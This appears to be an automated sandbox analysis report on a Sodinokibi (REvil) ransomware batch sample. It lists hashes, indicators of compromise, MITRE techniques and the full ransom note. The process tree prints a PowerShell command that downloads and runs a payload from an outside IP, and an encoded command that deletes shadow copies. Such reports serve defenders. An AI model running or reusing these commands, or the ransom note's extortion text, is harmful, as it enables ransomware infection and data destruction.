sodinokibi | add2d6d1bb4a21cb6e1b3266aea269d4e66dbd7999ef070b81760cc64d547bac

General

Target

f273d69e572f51a031e40b8c83f3e58b.bat
Size

222B
MD5

8609a1469584fe2c96aa61c898fd08e2
SHA1

184957747a301ae172a76046daf5480c525a55db
SHA256

add2d6d1bb4a21cb6e1b3266aea269d4e66dbd7999ef070b81760cc64d547bac
SHA512

2192354833c5c0c07ad79980769ef1090d7232717f9c73c13f16b4558593a9eb3028818dbc564433a41bfc3f092ea1a39cffccf0440a81dbc09ab8f5114162ec

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/f273d69e572f51a031e40b8c83f3e58b

Extracted

Path

C:\x4hv9t-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension x4hv9t. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). We have copied financial files and other important information about personal data, it will be published on the Internet or will be used against you if you do not pay us, so if you do not want such consequences as customer churn, media coverage, fines like GDRP and other damages, we recommend you to contact us and pay the ransom. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/634D9899C2608FB1 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/634D9899C2608FB1 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: GGe9jt48UdwSEaJ3NIWZNZwiQgRVDbuqCQyAcE51Xjyasay3qvLYfQHl1QrADAP9 scSLPuRkcPThgu1AKGlnHubg6sMOS53tGhKp4crqQlqAt2OVarLVkmh+rl0Jm4h7 hQR5wiB/G5NyQxmhVc4jzTl/x9glwu6GkkzhQinrX0Y1HQHOWWra4+QJTCKGsQOq PrJzpMWob73Wm0yGjvTzugRevJwYkYTRl3TwNJnDiiKk0kkieiUpvv1tt3CF94US 3FuXX3H1pYAzqj81cxdGjKEEShZiafaMm4W3b/x08qT5MMj0yqNxYITM17LMOIHw Zhvx9CnWe2ymPFxatATGDrbM380+tXL5sPPcJsbEmcEiHg2IOcT3HvzmkjgCPuWm l6pK2bFwjV4R9JAxd+O4Fo1vQBF1UWA5u3gUgNhTDBcBC22Q6szhtI5Kh7sw4taE C7WpHzzDWePWxohGhpCGsdOmb26/j2j+e/jmaozyeMn7j77OUYVfHAgiVUPs2hlf cP4jvfRE0AUrm74sYXkTTgyrRgGjASvsjwm5pR5RZyFEtaKgjVOnk0TMvLvW5Q8F CRkeSoQJN69IdEH0nQo4EvUr3B0mujT1owirjFrxFpZGfu/97bSTTa1cMNJ+UYo0 xG1bkXbbcJuK62NiAcYDPc7/YVFT0ufU0mlAAf2q4RGINqk9M6CASdrnlgGbsWQT n0Jg7U51XFgphqbTGiUqlggaYrC0aHQEJEyLjA/7oKu4O5d/830SrPvPDxbi4pSS JuX7dDTXsw+6000aIoOX8uFTSIXfN33KY+L1YjDERkHOpfIM8yGlm1QPRmoND0fU ZyAai6Si/FF2D1e9VpYYSQVyGus/uzLhyCcb5fK2q/MBY3fIOnMYvdkqRbqi1wrq 5ceqjKn585CnitQs4vJ0vrK2of9QB5zlcBT0G0EEWJyUkq7lPjba8NDva5YsZ4nQ WLBs0ha9mtGySRxddth9FJRdoDC/g17+NwfoMIxD7j/A1IOotAc2NmC3kyV2T70x QX+PnMnljAAjsLHqBTsEErn7dc8FXhRcYpkgTzQkXFfdQy9CkUylEPvlNn3nDbqa hHkwB4IZO1kGOTfJSigeQvMc6uPhVckpe0cmUnyXzq1Q+7KhDQG8brvAuwB3nfIT XBCEUZ+pf4Ok7SNFYkXkMZ4yPnLT2uoPOWliwlSqR2GE+ms6FXcgNsgsVNk12eJv SRtodEwv9/2LqZjuKzhlagxid3ZTZRLjPzuX4C446bBeUtjXnyPZgvuYk6PHa52G KQQNJpEtbKgiVJJcL5kip5/y7rFMCKuiVHVTrmIR4eE= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/634D9899C2608FB1

http://decryptor.cc/634D9899C2608FB1

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1400 powershell.exe

flow	pid	process
3	1400	powershell.exe

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

powershell.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\CheckpointShow.png => \??\c:\users\admin\pictures\CheckpointShow.png.x4hv9t	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\RegisterUse.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\NewStart.tiff => \??\c:\users\admin\pictures\NewStart.tiff.x4hv9t	powershell.exe
File renamed	C:\Users\Admin\Pictures\PushUnprotect.png => \??\c:\users\admin\pictures\PushUnprotect.png.x4hv9t	powershell.exe
File renamed	C:\Users\Admin\Pictures\RegisterUse.tiff => \??\c:\users\admin\pictures\RegisterUse.tiff.x4hv9t	powershell.exe
File renamed	C:\Users\Admin\Pictures\UndoRevoke.png => \??\c:\users\admin\pictures\UndoRevoke.png.x4hv9t	powershell.exe
File renamed	C:\Users\Admin\Pictures\CheckpointRemove.tif => \??\c:\users\admin\pictures\CheckpointRemove.tif.x4hv9t	powershell.exe
File opened for modification	\??\c:\users\admin\pictures\NewStart.tiff	powershell.exe
File renamed	C:\Users\Admin\Pictures\RequestConvertTo.raw => \??\c:\users\admin\pictures\RequestConvertTo.raw.x4hv9t	powershell.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\li7c69878.bmp"	powershell.exe

Drops file in Program Files directory 31 IoCs

Processes:

powershell.exe

description	ioc	process
File created	\??\c:\program files\x4hv9t-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ExpandFind.mpeg	powershell.exe
File opened for modification	\??\c:\program files\HideLimit.asf	powershell.exe
File opened for modification	\??\c:\program files\RepairOpen.dxf	powershell.exe
File opened for modification	\??\c:\program files\ConnectRestore.wma	powershell.exe
File opened for modification	\??\c:\program files\FindConnect.vsw	powershell.exe
File opened for modification	\??\c:\program files\CompareRegister.aifc	powershell.exe
File opened for modification	\??\c:\program files\FormatSuspend.pptx	powershell.exe
File opened for modification	\??\c:\program files\ResetSplit.TTS	powershell.exe
File opened for modification	\??\c:\program files\LockOptimize.AAC	powershell.exe
File opened for modification	\??\c:\program files\StepUnlock.xltx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\x4hv9t-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CheckpointDisable.txt	powershell.exe
File opened for modification	\??\c:\program files\ExpandExit.docm	powershell.exe
File opened for modification	\??\c:\program files\RegisterConvertTo.png	powershell.exe
File opened for modification	\??\c:\program files\SendEdit.rmi	powershell.exe
File opened for modification	\??\c:\program files\ProtectConvert.txt	powershell.exe
File opened for modification	\??\c:\program files\ResizeDebug.dwfx	powershell.exe
File opened for modification	\??\c:\program files\UnlockConvertFrom.gif	powershell.exe
File created	\??\c:\program files (x86)\x4hv9t-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DisconnectSet.xltm	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\x4hv9t-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RequestConnect.emf	powershell.exe
File opened for modification	\??\c:\program files\SendConnect.htm	powershell.exe
File opened for modification	\??\c:\program files\StopSelect.au3	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\x4hv9t-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\AddRedo.zip	powershell.exe
File opened for modification	\??\c:\program files\ConvertUnpublish.bmp	powershell.exe
File opened for modification	\??\c:\program files\ExpandOptimize.scf	powershell.exe
File opened for modification	\??\c:\program files\MoveCompress.ttc	powershell.exe
File opened for modification	\??\c:\program files\UseResume.mp4	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1400 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1400 powershell.exe
1400 powershell.exe
1400 powershell.exe
1808 powershell.exe
1808 powershell.exe

pid	process
1400	powershell.exe

pid	process
1400	powershell.exe
1400	powershell.exe
1400	powershell.exe
1808	powershell.exe
1808	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeBackupPrivilege	1644	vssvc.exe
Token: SeRestorePrivilege	1644	vssvc.exe
Token: SeAuditPrivilege	1644	vssvc.exe
Token: SeTakeOwnershipPrivilege	1400	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1108 wrote to memory of 1400	1108	cmd.exe	powershell.exe
PID 1108 wrote to memory of 1400	1108	cmd.exe	powershell.exe
PID 1108 wrote to memory of 1400	1108	cmd.exe	powershell.exe
PID 1108 wrote to memory of 1400	1108	cmd.exe	powershell.exe
PID 1400 wrote to memory of 1808	1400	powershell.exe	powershell.exe
PID 1400 wrote to memory of 1808	1400	powershell.exe	powershell.exe
PID 1400 wrote to memory of 1808	1400	powershell.exe	powershell.exe
PID 1400 wrote to memory of 1808	1400	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\f273d69e572f51a031e40b8c83f3e58b.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/f273d69e572f51a031e40b8c83f3e58b');Invoke-QEEAWDOACTLVWYR;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1400

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1644

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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memory/1400-5-0x0000000004730000-0x0000000004731000-memory.dmp

Filesize
4KB

Download
memory/1400-21-0x00000000061B0000-0x00000000061B1000-memory.dmp

Filesize
4KB

Download
memory/1400-22-0x00000000062E0000-0x00000000062E1000-memory.dmp

Filesize
4KB

Download
memory/1400-14-0x0000000006250000-0x0000000006251000-memory.dmp

Filesize
4KB

Download
memory/1400-13-0x0000000006090000-0x0000000006091000-memory.dmp

Filesize
4KB

Download
memory/1400-8-0x0000000005680000-0x0000000005681000-memory.dmp

Filesize
4KB

Download
memory/1400-0-0x0000000000000000-mapping.dmp

Download
memory/1400-4-0x0000000000F50000-0x0000000000F51000-memory.dmp

Filesize
4KB

Download
memory/1400-3-0x0000000004980000-0x0000000004981000-memory.dmp

Filesize
4KB

Download
memory/1400-2-0x0000000000800000-0x0000000000801000-memory.dmp

Filesize
4KB

Download
memory/1400-1-0x00000000743F0000-0x0000000074ADE000-memory.dmp

Filesize
6.9MB

Download
memory/1808-23-0x0000000000000000-mapping.dmp

Download
memory/1808-25-0x00000000743F0000-0x0000000074ADE000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads